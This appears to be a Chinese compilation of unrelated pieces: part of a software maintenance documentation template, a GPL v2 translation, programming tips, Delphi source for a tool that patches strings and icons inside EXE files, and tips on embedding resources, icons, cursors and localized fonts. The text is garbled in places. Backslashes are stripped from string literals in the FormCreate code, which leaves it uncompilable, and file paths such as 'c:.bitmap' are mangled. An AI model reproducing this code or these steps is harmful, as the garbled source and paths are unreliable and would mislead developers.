[ 说明一个程序修改后，对其进行验证的要求和过程（包括测试程序和数据）及程序周期性验证的过程。]

4．3 出错及纠正方法

[ 列出出错状态及其纠正方法。]

4．4 专门维护过程

[ 说明文档其他地方没有提到的专门维护过程，如：a. 维护该软件系统的输入部分（如数据库）的要求、过程和验证方法；b. 运行程序库维护系统所必须的要求、过程和验证方法；c. 对闰年、世纪变更所需要的临时性修改等。]

4．5 专用维护程序

[ 列出维护软件系统使用的后备技术和专用程序（如文件恢复程序、淘汰过时文件的程序等）的目录，并加以说明，内容包括：a. 维护作业的输入输出要求；b. 输入的详细过程及硬件设备上建立、运行并完成维护作业的操作步骤。]

4．6 程序清单和流程图

[ 引用资料或提供附录给出程序清单和流程图。]


《GNU通用公共许可证》

《GNU通用公共许可证》

1991.6 第二版 (本文是孙以义先生的原始翻译稿)

版权所有（C）1989，1991 Free Software foundation, Inc.

675 Mass Ave, Cambridge, MA02139, USA

允许每个人复制和发布这一许可证原始文档的副本，但绝对不允许对它进行任何修改。

序言

大多数软件许可证决意剥夺你的共享和修改软件的自由。对比之下，GNU通用公共许可证

力图保证你的共享和修改自由软件的自由。--保证自由软件对所有用户是自由的。GPL

适用于大多数自由软件基金会的软件，以及由使用这些软件而承担义务的作者所开发的软

件。（自由软件基金会的其他一些软件受GNU库通用许可证的保护）。你也可以将它用到你

的程序中。

当我们谈到自由软件（free software）时，我们指的是自由而不是价格。我们的GNU通用公

共许可证决意保证你有发布自由软件的自由（如果你愿意，你可以对此项服务收取一定的费

用）；保证你能收到源程序或者在你需要时能得到它；保证你能修改软件或将它的一部分用

于新的自由软件；而且还保证你知道你能做这些事情。

为了保护你的权利，我们需要作出规定：禁止任何人不承认你的权利，或者要求你放弃这些

权利。如果你修改了自由软件或者发布了软件的副本，这些规定就转化为你的责任。

例如，如果你发布这样一个程序的副本，不管是收费的还是免费的，你必须将你具有的一切

权利给予你的接受者；你必须保证他们能收到或得到源程序；并且将这些条款给他们看，使

他们知道他们有这样的权利。

我们采取两项措施来保护你的权利。

（1）给软件以版权保护。

（2）给你提供许可证。它给你复制，发布和修改这些软件的法律许可。

同样，为了保护每个作者和我们自己，我们需要清楚地让每个人明白，自由软件没有担保（no

warranty）。如果由于其他某个人修改了软件，并继续加以传播。我们需要它的接受者明白：

他们所得到的并不是原来的自由软件。由其他人引入的任何问题，不应损害原作者的声誉。

最后，任何自由软件不断受到软件专利的威胁。我们希望避免这样的风险，自由软件的再发

布者以个人名义获得专利许可证。事实上，将软件变为私有。为防止这一点，我们必须明确：

任何专利必须以允许每个人自由使用为前提，否则就不准许有专利。

下面是有关复制，发布和修改的确切的条款和条件。

GNU通用公共许可证

有关复制，发布和修改的条款和条件

0. 此许可证适用于任何包含版权所有者声明的程序和其他作品，版权所有者在声明中明确

说明程序和作品可以在GPL条款的约束下发布。下面提到的“程序”指的是任何这样的程

序或作品。而“基于程序的作品”指的是程序或者任何受版权法约束的衍生作品。也就是说

包含程序或程序的一部分的作品。可以是原封不动的，或经过修改的和／或翻译成其他语言

的（程序）。在下文中，翻译包含在修改的条款中。每个许可证接受人（licensee）用你来称

呼。

许可证条款不适用于复制，发布和修改以外的活动。这些活动超出这些条款的范围。运行程

序的活动不受条款的限止。仅当程序的输出构成基于程序作品的内容时，这一条款才适用（如

果只运行程序就无关）。是否普遍适用取决于程序具体用来做什么。

1. 只要你在每一副本上明显和恰当地出版版权声明和不承担担保的声明，保持此许可证的

声明和没有担保的声明完整无损，并和程序一起给每个其他的程序接受者一份许可证的副

本，你就可以用任何媒体复制和发布你收到的原始的程序的源代码。

你可以为转让副本的实际行动收取一定费用。你也有权选择提供担保以换取一定的费用。

2. 你可以修改程序的一个或几个副本或程序的任何部分，以此形成基于程序的作品。只要

你同时满足下面的所有条件，你就可以按前面第一款的要求复制和发布这一经过修改的程序

或作品。

a） 你必须在修改的文件中附有明确的说明：你修改了这一文件及具体的修改日期。

b） 你必须使你发布或出版的作品（它包含程序的全部或一部分，或包含由程序的全部或部

分衍生的作品）允许第三方作为整体按许可证条款免费使用。

c） 如果修改的程序在运行时以交互方式读取命令，你必须使它在开始进入常规的交互使用

方式时打印或显示声明：包括适当的版权声明和没有担保的声明（或者你提供担保的声明）；

用户可以按此许可证条款重新发布程序的说明；并告诉用户如何看到这一许可证的副本。（例

外的情况：如果原始程序以交互方式工作，它并不打印这样的声明，你的基于程序的作品也

就不用打印声明）。

这些要求适用于修改了的作品的整体。如果能够确定作品的一部分并非程序的衍生产品，可

以合理地认为这部分是独立的，是不同的作品。当你将它作为独立作品发布时，它不受此许

可证和它的条款的约束。但是当你将这部分作为基于程序的作品的一部分发布时，作为整体

它将受到许可证条款约束。准予其他许可证持有人的使用范围扩大到整个产品。也就是每个

部分，不管它是谁写的。因此，本条款的意图不在于索取权利；或剥夺全部由你写成的作品

的权利。而是履行权利来控制基于程序的集体作品或衍生作品的发布。

此外，将与程序无关的作品和该程序或基于程序的作品一起放在存贮体或发布媒体的同一卷

上，并不导致将其他作品置于此许可证的约束范围之内。

3. 你可以以目标码或可执行形式复制或发布程序（或符合第2款的基于程序的作品)，只要

你遵守前面的第1，2款，并同时满足下列3条中的1条。

a）在通常用作软件交换的媒体上，和目标码一起附有机器可读的完整的源码。这些源码的

发布应符合上面第1，2款的要求。或者

b）在通常用作软件交换的媒体上，和目标码一起，附有给第三方提供相应的机器可读的源

码的书面报价。有效期不少于3年，费用不超过实际完成源程序发布的实际成本。源码的发

布应符合上面的第1，2款的要求。或者

c）和目标码一起，附有你收到的发布源码的报价信息。（这一条款只适用于非商业性发布，

而且你只收到程序的目标码或可执行代码和按b）款要求提供的报价）。

作品的源码指的是对作品进行修改最优先择取的形式。对可执行的作品讲，完整的源码包括：

所有模块的所有源程序，加上有关的接口的定义，加上控制可执行作品的安装和编译的

script。作为特殊例外，发布的源码不必包含任何常规发布的供可执行代码在上面运行的操

作系统的主要组成部分（如编译程序，内核等）。除非这些组成部分和可执行作品结合在一

起。

如果采用提供对指定地点的访问和复制的方式发布可执行码或目标码，那么，提供对同一地

点的访问和复制源码可以算作源码的发布，即使第三方不强求与目标码一起复制源码。

4. 除非你明确按许可证提出的要求去做，否则你不能复制，修改，转发许可证和发布程序。

任何试图用其他方式复制，修改，转发许可证和发布程序是无效的。而且将自动结束许可证

赋予你的权利。然而，对那些从你那里按许可证条款得到副本和权利的人们，只要他们继续

全面履行条款，许可证赋予他们的权利仍然有效。

5. 你没有在许可证上签字，因而你没有必要一定接受这一许可证。然而，没有任何其他东

西赋予你修改和发布程序及其衍生作品的权利。如果你不接受许可证，这些行为是法律禁止

的。因此，如果你修改或发布程序（或任何基于程序的作品），你就表明你接受这一许可证

以及它的所有有关复制，发布和修改程序或基于程序的作品的条款和条件。

6. 每当你重新发布程序（或任何基于程序的作品）时，接受者自动从原始许可证颁发者那

里接到受这些条款和条件支配的复制，发布或修改程序的许可证。你不可以对接受者履行这

里赋予他们的权利强加其他限制。你也没有强求第三方履行许可证条款的义务。

7. 如果由于法院判决或违反专利的指控或任何其他原因（不限于专利问题）的结果，强加

于你的条件（不管是法院判决，协议或其他）和许可证的条件有冲突。他们也不能用许可证

条款为你开脱。在你不能同时满足本许可证规定的义务及其他相关的义务时，作为结果，你

可以根本不发布程序。例如，如果某一专利许可证不允许所有那些直接或间接从你那里接受

副本的人们在不付专利费的情况下重新发布程序，唯一能同时满足两方面要求的办法是停止

发布程序。

如果本条款的任何部分在特定的环境下无效或无法实施，就使用条款的其余部分。并将条款

作为整体用于其他环境。

本条款的目的不在于引诱你侵犯专利或其他财产权的要求，或争论这种要求的有效性。本条

款的主要目的在于保护自由软件发布系统的完整性。它是通过通用公共许可证的应用来实现

的。许多人坚持应用这一系统，已经为通过这一系统发布大量自由软件作出慷慨的供献。作

者／捐献者有权决定他／她是否通过任何其他系统发布软件。许可证持有人不能强制这种选

择。

本节的目的在于明确说明许可证其余部分可能产生的结果。

8. 如果由于专利或者由于有版权的接口问题使程序在某些国家的发布和使用受到限止，将

此程序置于许可证约束下的原始版权拥有者可以增加限止发布地区的条款，将这些国家明确

排除在外。并在这些国家以外的地区发布程序。在这种情况下，许可证包含的限止条款和许

可证正文一样有效。

9. 自由软件基金会可能随时出版通用公共许可证的修改版或新版。新版和当前的版本在原

则上保持一致，但在提到新问题时或有关事项时，在细节上可能出现差别。每一版本都有不

同的版本号。如果程序指定适用于它的许可证版本号以及“任何更新的版本”。你有权选择

遵循指定的版本或自由软件基金会以后出版的新版本，如果程序未指定许可证版本，你可选

择自由软件基金会已经出版的任何版本。

10. 如果你愿意将程序的一部分结合到其他自由程序中，而它们的发布条件不同。写信给作

者，要求准予使用。如果是自由软件基金会加以版权保护的软件，写信给自由软件基金会。

我们有时会作为例外的情况处理。我们的决定受两个主要目标的指导。这两个主要目标是：

我们的自由软件的衍生作品继续保持自由状态。以及从整体上促进软件的共享和重复利用。

没有担保

11. 由于程序准予免费使用，在适用法准许的范围内，对程序没有担保。除非另有书面说明，

版权所有者和／或其他提供程序的人们“一样”不提供任何类型的担保。不论是明确的，还

是隐含的。包括但不限于隐含的适销和适合特定用途的保证。全部的风险，如程序的质量和

性能问题都由你来承担。如果程序出现缺陷，你承担所有必要的服务，修复和改正的费用。

12. 除非适用法或书面协议的要求，在任何情况下，任何版权所有者或任何按许可证条款修

改和发布程序的人们都不对你的损失负有任何责任。包括由于使用或不能使用程序引起的任

何一般的，特殊的，偶然发生的或重大的损失（包括但不限于数据的损失，或者数据变得不

精确，或者你或第三方的持续的损失，或者程序不能和其他程序协调运行等）。即使版权所

有者和其他人提到这种损失的可能性也不例外。

最后的条款和条件

如何将这些条款用到你的新程序

如果你开发了新程序，而且你需要它得到公众最大限度的利用。要做到这一点的最好办法是

将它变为自由软件。使得每个人都能在遵守条款的基础上对它进行修改和重新发布。

为了做到这一点，给程序附上下列声明。最安全的方式是将它放在每个源程序的开头，以便

最有效地传递拒绝担保的信息。每个文件至少应有“版权所有”行以及在什么地方能看到声

明全文的说明。

<用一行空间给出程序的名称和它用来做什么的简单说明>

版权所有（C） 19XX <作者姓名>

这一程序是自由软件，你可以遵照自由软件基金会出版的GNU通用公共许可证条款来修改

和重新发布这一程序。或者用许可证的第二版，或者（根据你的选择）用任何更新的版本。

发布这一程序的目的是希望它有用，但没有任何担保。甚至没有适合特定目的的隐含的担保。

更详细的情况请参阅GNU通用公共许可证。

你应该已经和程序一起收到一份GNU通用公共许可证的副本。如果还没有，

写信给：

The Free Software Foundation, Inc., 675 Mass Ave, Cambridge,

MA02139, USA

还应加上如何和你保持联系的信息。

如果程序以交互方式进行工作，当它开始进入交互方式工作时，使它输出类似下面的简短声

明：

Gnomovision 第69版， 版权所有（C） 19XX， 作者姓名，

Gnomovision绝对没有担保。 要知道详细情况，请输入‘show w’。这是自由软件，欢迎你

遵守一定的条件重新发布它，要知道详细情况，

请输入‘show c’。

假设的命令‘show w’和‘show c’应显示通用公共许可证的相应条款。当然，你使用的命

令名称可以不同于‘show w’和‘show c’。根据你的程序的具体情况，也可以用菜单或鼠

标选项来显示这些条款。

如果需要，你应该取得你的上司（如果你是程序员）或你的学校签署放弃程

序版权的声明。下面只是一个例子，你应该改变相应的名称：

Yoyodyne公司以此方式放弃James Harker

所写的 Gnomovision程序的全部版权利益。

<Ty coon签名>，1989.4.1

Ty coon付总裁

这一许可证不允许你将程序并入专用程序。如果你的程序是一个子程序库。你可能会认为用

库的方式和专用应用程序连接更有用。如果这是你想做的事，使用GNU库通用公共许可证

代替本许可证。


个人编程经验

=====================================================

个人编程经验

=====================================================

1、没想好别写代码；没写好代码别运行。

2、将字体颜色定义为常量，以后好改。比如：CkdTitleFont,DKDTextFont.

3、做程序前先做框架，尤其是数据模块，主菜单，ActionList，要不你程序大时主窗口很乱.

4、若你的系统依赖前人做的系统，那么做数据库设计时别忽略前人做的系统的数据库结构分析。

5、做需求时别将太多的时间花在界面设计上，因为这时数据库结构可能也不清楚更谈不上什么界面了。

界面、数据模块设计应在做程序前设计，当然需求时做的界面有参考价值。

6、出错处理包括：目录、文件的存在性、表是否空、用户访问数据库是否发生冲突。

7、最好是单独定义一个单元文件来定义常量及系统私有函数，要不可能有出现重复定义现象。


修改资源的例子

以前的代码：

program BinaryReplace;

uses

Forms,

BinRep1 in 'BinRep1.pas' {BinaryEdit};

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TBinaryEdit, BinaryEdit);

Application.Run;

end.

unit BinRep1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls, ComCtrls, Buttons, ShellAPI;

CONST

Max_Buffer = 4096;

type

Buffer_Type = ARRAY [1..Max_Buffer] OF BYTE;

TBinaryEdit = class(TForm)

EXE_Name: TEdit;

OpenDialog1: TOpenDialog;

Label1: TLabel;

Label4: TLabel;

GroupBox1: TGroupBox;

Label5: TLabel;

orig_ico: TEdit;

new_ico: TEdit;

Label6: TLabel;

GroupBox2: TGroupBox;

Label2: TLabel;

Find_Str: TEdit;

Label3: TLabel;

Replace_Str: TEdit;

Zero_Breaks: TCheckBox;

Progress: TProgressBar;

Bevel1: TBevel;

Browse2: TBitBtn;

Browse3: TBitBtn;

Browse: TBitBtn;

Modify_Icon: TBitBtn;

Modify_String: TBitBtn;

First_Only: TCheckBox;

Image1: TImage;

Image2: TImage;

Bevel2: TBevel;

Bevel3: TBevel;

Prev_Icon: TSpeedButton;

Next_Icon: TSpeedButton;

procedure Modify_StringClick(Sender: TObject);

procedure BrowseClick(Sender: TObject);

procedure Modify_IconClick(Sender: TObject);

procedure Browse2Click(Sender: TObject);

procedure Browse3Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Extract_IconClick(Sender: TObject);

procedure Next_IconClick(Sender: TObject);

procedure Prev_IconClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

PROCEDURE Modify_File;

end;

var

BinaryEdit: TBinaryEdit;

Data_In : FILE OF BYTE;

Data_Out : FILE OF BYTE;

Find_Buffer : Buffer_Type;

Rep_Buffer : Buffer_Type;

Find_Size : INTEGER;

Rep_Size : INTEGER;

Icon_Index : INTEGER;

Run_Path : STRING;

implementation

{$R *.DFM}

procedure TBinaryEdit.Modify_StringClick(Sender: TObject);

VAR

n : INTEGER;

BEGIN

IF Zero_Breaks.Checked

THEN

BEGIN

IF ((Length(Find_Str.Text) * 2 - 1) > Max_Buffer) OR ((Length(Replace_Str.Text) * 2 - 1) > Max_Buffer)

THEN

BEGIN

MessageDlg('The text data is too large. Only data up to ' + IntToStr(Max_Buffer) + ' bytes can be replaced in a single modifcation',

mtWarning, [mbOk], 0);

Exit;

END;

END

ELSE

BEGIN

IF (Length(Find_Str.Text) > Max_Buffer) OR (Length(Replace_Str.Text) > Max_Buffer)

THEN

BEGIN

MessageDlg('The text data is too large. Only data up to ' + IntToStr(Max_Buffer) + ' bytes can be replaced in a single modifcation',

mtWarning, [mbOk], 0);

Exit;

END;

END;

FOR n := 1 TO Length(Find_Str.Text)

DO

IF Zero_Breaks.Checked

THEN

BEGIN

Find_Buffer[n * 2 - 1] := ORD(Find_Str.Text[n]);

Find_Buffer[n * 2] := 0;

END

ELSE

Find_Buffer[n] := ORD(Find_Str.Text[n]);

IF Zero_Breaks.Checked

THEN

Find_Size := Length(Find_Str.Text) * 2 - 1

ELSE

Find_Size := Length(Find_Str.Text);

IF Length(Replace_Str.Text) >= Length(Find_Str.Text)

THEN

Replace_Str.Text := Copy(Replace_Str.Text, 1, Length(Find_Str.Text));

FOR n := 1 TO Length(Replace_Str.Text)

DO

IF Zero_Breaks.Checked

THEN

BEGIN

Rep_Buffer[n * 2 - 1] := ORD(Replace_Str.Text[n]);

Rep_Buffer[n * 2] := 0;

END

ELSE

Rep_Buffer[n] := ORD(Replace_Str.Text[n]);

IF Zero_Breaks.Checked

THEN

Rep_Size := Length(Replace_Str.Text) * 2 - 1

ELSE

Rep_Size := Length(Replace_Str.Text);

IF Rep_Size < Find_Size

THEN

REPEAT

Rep_Size := Rep_Size + 1;

Rep_Buffer[Rep_Size] := 0;

UNTIL Rep_Size = Find_Size;

Modify_File;

END;

PROCEDURE TBinaryEdit.Modify_File;

VAR

temp_byte : BYTE;

n : INTEGER;

Buffer : Buffer_Type;

Count : INTEGER;

Replaced : INTEGER;

Read_Count : LONGINT;

New_Ext : STRING;

Search_Active : BOOLEAN;

Replace_First : BOOLEAN;

begin

{MessageDlg('Find Buffer: ' + IntToStr(Find_Size) + ' Rep Buffer: ' + IntToStr(Rep_Size), mtInformation, [mbOk], 0);}

IF NOT(FileExists(EXE_Name.text))

THEN

BEGIN

MessageDlg('Source file "' + orig_ico.text + '" not found', mtWarning, [mbOk], 0);

Exit;

END;

New_Ext := ExtractFileExt(EXE_Name.Text); {Get old ext}

IF New_Ext[1] = '.' {Strip off leading '.' (if there is one)}

THEN

New_Ext := Copy(New_Ext, 2, Length(New_Ext) - 1);

New_Ext := '.~' + Copy(New_Ext, 1, Length(New_Ext) - 1); {Add the leading '~'}

IF FileExists(ChangeFileExt(EXE_Name.Text, New_Ext)) {Do we have an existing backup?}

THEN

DeleteFile(ChangeFileExt(EXE_Name.Text, New_Ext)); {Delete it}

RenameFile(EXE_Name.Text, ChangeFileExt(EXE_Name.Text, New_Ext)); {Create a new backup}

AssignFile(data_in, ChangeFileExt(EXE_Name.Text, New_Ext));

Reset(data_in);

AssignFile(data_out, EXE_Name.Text);

ReWrite(data_out);

Screen.Cursor := crHourglass;

Replaced := 0;

Read_Count := 0;

Progress.Max := FileSize(data_in) DIV 1024;

Progress.Position := 0;

Progress.Visible := TRUE;

Search_Active := TRUE;

Replace_First := First_Only.Checked;

WHILE NOT(EOF(data_in))

DO

BEGIN

READ(data_in, temp_byte);

Read_Count := Read_Count + 1;

IF (temp_byte = Find_Buffer[1]) AND Search_Active

THEN {Does the read byte match the first byte in the buffer?}

BEGIN {Yes. Check to see if the following bytes also match the buffer}

Count := 1;

Buffer[1] := Find_Buffer[1];

WHILE NOT(EOF(data_in)) AND (count < Find_Size) AND (Buffer[count] = Find_Buffer[count])

DO

BEGIN

count := count + 1;

READ(data_in, Buffer[count]);

Read_Count := Read_Count + 1;

END;

IF count = Find_Size {Did what we read, match what we were looking for?}

THEN

BEGIN

FOR n := 1 TO Count {Yes. Output the replacement data}

DO

WRITE(data_out, Rep_Buffer[n]);

Replaced := Replaced + 1;

Search_Active := NOT(Replace_First);

END

ELSE

FOR n := 1 TO Count {No. Output wthe original data}

DO

WRITE(data_out, Buffer[n]);

END

ELSE

WRITE(data_out, temp_byte);

IF (Read_Count MOD 1024) = 0 {Have we read a K?}

THEN

BEGIN {Update the progress indicators}

Label1.Caption := 'Read: ' + IntToStr(Read_Count DIV 1024) + ' KBytes';

Progress.Position := Progress.Position + 1;

Application.ProcessMessages;

END;

END;

CloseFile(data_in);

CloseFile(data_out);

Progress.Position := Progress.Max;

Application.ProcessMessages;

Progress.Visible := FALSE;

Label1.Caption := '';

Screen.Cursor := crDefault;

CASE Replaced OF

0 : MessageDlg('Data could not be located. No changes have been made', mtWarning, [mbOk], 0);

1 : MessageDlg('Replaced ' + IntToStr(Replaced) + ' instance of the data', mtInformation, [mbOk], 0);

ELSE

MessageDlg('Replaced ' + IntToStr(Replaced) + ' instances of the data', mtInformation, [mbOk], 0);

END;

end;

procedure TBinaryEdit.BrowseClick(Sender: TObject);

begin

OpenDialog1.Filter := 'Executable Files (*.exe)|*.exe|All Files (*.*)|*.*';

OpenDialog1.Filename := EXE_Name.Text;

OpenDialog1.FilterIndex := 0;

IF OpenDialog1.Execute

THEN

BEGIN

EXE_Name.Text := OpenDialog1.Filename;

Icon_Index := 0;

Orig_Ico.Text := '';

Extract_IconClick(Self);

END;

end;

procedure TBinaryEdit.Modify_IconClick(Sender: TObject);

VAR

Temp_Byte : BYTE;

n : INTEGER;

begin

{We can treat an icon replace exactly the same as a text replace. Both are simply}

{streams of bytes, but in the case of icons, the bytes come in from a file rather}

{than have the user type in several hundred values. This routine merely rips the }

{data from the two icon files (original file (what to look for) and the new file }

{(what to replace it with)), sets up the two buffers, and gets the search process}

{kicked off}

IF NOT(FileExists(orig_ico.text))

THEN

BEGIN

MessageDlg('Icon file "' + orig_ico.text + '" not found', mtWarning, [mbOk], 0);

Exit;

END;

IF NOT(FileExists(new_ico.text))

THEN

BEGIN

MessageDlg('Icon file "' + new_ico.text + '" not found', mtWarning, [mbOk], 0);

Exit;

END;

AssignFile(data_in, orig_ico.text);

Reset(data_in);

Find_Size := 0;

FOR n := 1 TO 43

DO

READ(data_in, temp_byte); {Skip first 43 bytes (Header?)}

WHILE NOT(EOF(data_in))

DO

BEGIN

READ(data_in, temp_byte);

Find_Size := Find_Size + 1;

IF Find_Size <= Max_Buffer

THEN

Find_Buffer[Find_Size] := Temp_Byte;

END;

CloseFile(data_in);

AssignFile(data_in, new_ico.text);

Reset(data_in);

Rep_Size := 0;

FOR n := 1 TO 43

DO

READ(data_in, temp_byte); {Skip first 43 bytes (Header?)}

WHILE NOT(EOF(data_in))

DO

BEGIN

READ(data_in, temp_byte);

Rep_Size := Rep_Size + 1;

IF Rep_Size <= Max_Buffer

THEN

Rep_Buffer[Rep_Size] := Temp_Byte;

END;

CloseFile(data_in);

IF Rep_Size <> Find_Size

THEN

BEGIN

MessageDlg('The two icons are not the same size (' + IntToStr(Find_Size) + ' & ' + IntToStr(Rep_Size) + '). Unable to modify',

mtWarning, [mbOk], 0);

Exit;

END;

IF (Rep_Size > Max_Buffer) OR (Find_Size > Max_Buffer)

THEN

MessageDlg('The icon data is too large. Only data up to ' + IntToStr(Max_Buffer) + ' bytes can be replaced in a single modifcation',

mtWarning, [mbOk], 0)

ELSE

Modify_File;

end;

procedure TBinaryEdit.Browse2Click(Sender: TObject);

begin

OpenDialog1.Filter := 'Icon Files (*.ico)|*.ico|All Files (*.*)|*.*';

OpenDialog1.Filename := Orig_Ico.Text;

OpenDialog1.FilterIndex := 0;

IF OpenDialog1.Execute

THEN

BEGIN

Orig_Ico.Text := OpenDialog1.Filename;

Image1.Picture.LoadFromFile(Orig_Ico.Text);

END;

end;

procedure TBinaryEdit.Browse3Click(Sender: TObject);

begin

OpenDialog1.Filter := 'Icon Files (*.ico)|*.ico|All Files (*.*)|*.*';

OpenDialog1.Filename := New_Ico.Text;

OpenDialog1.FilterIndex := 0;

IF OpenDialog1.Execute

THEN

BEGIN

New_Ico.Text := OpenDialog1.Filename;

Image2.Picture.LoadFromFile(New_Ico.Text);

END;

end;

procedure TBinaryEdit.FormCreate(Sender: TObject);

begin

Run_Path := ExtractFilePath(ParamStr(0));

IF Run_Path[Length(Run_Path)] <> '

THEN

Run_Path := Run_Path + ';

ClientWidth := Bevel1.Width;

ClientHeight := Bevel1.Top + Bevel1.Height;

Label1.Caption := '';

Progress.Visible := FALSE;

Application.Title := Caption;

end;

procedure TBinaryEdit.Extract_IconClick(Sender: TObject);

VAR

icon_handle : LONGINT;

buffer : ARRAY [0..1024] OF CHAR;

begin

IF NOT(FileExists(EXE_Name.Text))

THEN

Exit;

StrPCopy(Buffer, EXE_Name.Text);

icon_handle := ExtractIcon(BinaryEdit.Handle, buffer, icon_index);

IF Icon_Handle = 0 {Did we get a valid handle back?}

THEN

BEGIN {No}

IF Icon_Index = 0 {Is this the first icon in the file?}

THEN {Yes. There can't be any icons in this file}

BEGIN

MessageDlg('No icons found in source file', mtWarning, [mbOk], 0);

Image1.Visible := FALSE;

END

ELSE {No. We must have gone beyond the limit. Step back}

Icon_Index := Icon_Index - 1;

Exit;

END;

{We now have our extracted icon. Save it to a temp file in readiness for the modifocation}

Image1.Picture.Icon.Handle := icon_handle;

Image1.Picture.Icon.SaveToFile(Run_Path + 'orig.ico');

orig_ico.Text := LowerCase(Run_Path + 'orig.ico');

Image1.Visible := TRUE;

end;

procedure TBinaryEdit.Next_IconClick(Sender: TObject);

begin

IF NOT(FileExists(EXE_Name.Text))

THEN

Exit;

Icon_Index := Icon_Index + 1;

Extract_IconClick(Self);

end;

procedure TBinaryEdit.Prev_IconClick(Sender: TObject);

begin

IF NOT(FileExists(EXE_Name.Text)) OR (Icon_Index <= 0)

THEN

Exit;

Icon_Index := Icon_Index - 1;

Extract_IconClick(Self);

end;

end.


任意格式的二进制文件编译进程序

自己做一个一个资源文件的描述文本RC文件，例如 sample.rc ，“记事本”程序创建就行了。然后可以输入一些我们要定义的资源，

例如：

MEN BITMAP c:.bitmap

ARJ EXEFILE c:.exe

MOV AVI c:.avi

然后用BRCC32把这个RC文件编译成sample.res（真正的资源文件）。

在Delphi的工程文件中使用 $R 编译指令让Delphi包括资源到EXE文件里面。

{$R sample.res}

这样我们就可以在这个单一的执行文件中调用资源了。举例如下：

EXEFILE：

procedure ExtractRes(ResType, ResName, ResNewName : String);

var

Res : TResourceStream;

begin

Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));

Res.SavetoFile(ResNewName);

Res.Free;

end;

AVI：

procedure LoadAVI;

begin

{Avi1是一个TAnimate类}

Avi1.ResName:='AVI';

Avi1.Active:=True;

end;


任意的文件作为资源添加到可执行文件

1：编辑一个resource.rc文件，里面类似如下：

hookdll RC_Dll YourHookDllFileName.Dll

2：然后用Brcc32.exe编译:

brcc32 resource.rc

结果生成resource.res文件

3：修改窗体Pas或者Dpr文件，添加下面的代码：

{$R *.res}

{$R resource.res}

4：关键的代码：

在窗体初始化或者工程的开头部分添加代码：

var

res:tresourcestream;

....

res:=tresourcestream.create(instance,'hookdll','RC_Dll');

res.SaveToFile('YourHookDllFileName.Dll');

res.Free;

5：你的程序退出的时候:

DeleteFile('YourHookDllFile.Dll');

6:End


如何使Delphi得的程序有大小两种图标状态

我们知道，Window的资源管理器由一个大图标和小图标两种显示状态，32*32和16*16两种，而且这两种图标可以是不同的！但是Delphi编译的程序都只有一种状态！就是那个32*32，那么Delphi到底可不可以做到呢？回答是肯定的！

1：修改DPR文件，找到那个含有{$R *.Res}的那一行，把他修改成{$R %ProjectName%.RES}

2：用VC++或者ImageEditor打开这个Res文件，对它进行编辑即可，可以打开一个ICON文件Copy下来，Paste到那个16*16的图标即可。下面以用VC++编辑为例：

启动VC++，用Open打开这个RES文件，可以看到里面有一个Mainicon的图标，双击它，出来一个Icon编辑窗口，其中工具栏最右边有一个按钮，点击一下然后建立一个16*16大小的图标即可，可以编辑它保存即可，也可以用VC++打开一个已经编辑好的ICON，Copy&Paste即可。

3：编译即可！

注意：这个方法将不能够用Project Options来修改Application 的Icon。

我猜想，必须这么麻烦的原因，在于Delphi每次会自动重新生成那个该死的RES，不使用{$R *.Res}而采用{$R %ProjectName%.RES}，系统认为不要自动重新生成RES文件，所以那做的修改就会保存下来了！采用这种方法，对编译程序没有任何影响！不会有任何错误！呵呵~~~~~~

还有另外一个方法：

就是用其它的图标编辑软件编辑图标，但是这个图标有多种不同的规格！Delphi编译的时候会自动进行处理。例如，用IconEditor编辑一个包含两种规格(16*16和32*32)的图标，那么用Delphi的Project Options Load这个图标就可以了！！！！这种方法更简单一点儿，不需要更改Delphi的源代码，但是必须有特殊的图标编辑软件。

注意：Delphi对真彩色图标的支持有问题！具体来说Delphi 5.0不可设置Project Options中的图标为真彩色，否则一按F9程序就会中断若干次。

Write By Kingron,Any Problem,Please Mail:Kingron@163.net


一劳永逸地修改Delphi的错误信息

我们知道，Delphi有自己的错误处理机制，我们可以用异常来捕捉一些错误信息，但是有的时候还是会发生一些意想不到的事情，程序没有办法捕捉到，这个时候就会弹出一个英文的错误信息框，那么有没有办法彻底地汉化这些信息，以后不论编什么程序都会有中文的信息呢？有！方法如下：

新建一个程序，然后在程序Uses部分添加myconsts;

找到$Delphi$.pas,复制到新建立的程序的目录，改名为myconsts，然后编译程序，这个时候会生成myconsts.dcu，将这个生成的dcu改名为consts.dcu，复制后覆盖$delphi$\u19979下面的consts.dcu即可（请注意备份文件）。必须重新启动Delphi才能生效。

附件中是我汉化的一些单元。


如何一劳永逸地修改Delphi的默认的crHandPoint光标

要修改Delphi的那个crSql和crHandPoint难看的光标，有几个方法。

1：编译程序之后，用ExeScope之类的软件修改相应的资源。

这种方法不能一劳永逸，一旦编译一次，就必须修改。：（

2：修改Delphi的默认的资源，这样即使怎样变化，也不会有问题：

用Delphi的ImageEditor打开$Delphi$.res，修改那个相应的32761的光标并且存盘即可，其他的类似！

同样，如果不需要Delphi默认的那个按钮图标，可以修改Buttons.res，删除所有的即可，这样可以节省6K左右的空间！

****************

也可以采用下面的方法：

在FormCreate中添加如下代码即可：

screen.Cursors[-21]:=LoadCursor(0,IDC_HAND);

附件>>>>

Controls.res & Buttons.res


汉化资源中字体的修改

汉化程序的时候，如果修改字体资源？

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

前言

汉化人大宇在汉化 CTris2000 这个 Delphi 程序的时候，修改了所有 RCData 中的字体设置，但仍然有一个窗体的字体很难看，我帮他做了修改，在这里就以它为例说一下 Delphi 程序字体字号的修改。

本来，我以为要详细的说才能说清，不过现在看来，也未必，所以在这里还是简单的说一下算了。

Delphi 程序的字体

关于 Delphi 程序的字体，以我想大概有三种情况：

一、RCData 格式。这种格式的字体字号的问题有很多工具，诸如 eXeScope 、ResHacker 等工具都可以非常方便的修改，而且这也是 Delphi 程序中的字体设置使用最多的方法，而且大多数 Delphi 程序都只使用这一种方式，而其修改方法相对成熟的多，所以我不讨论这种方式。

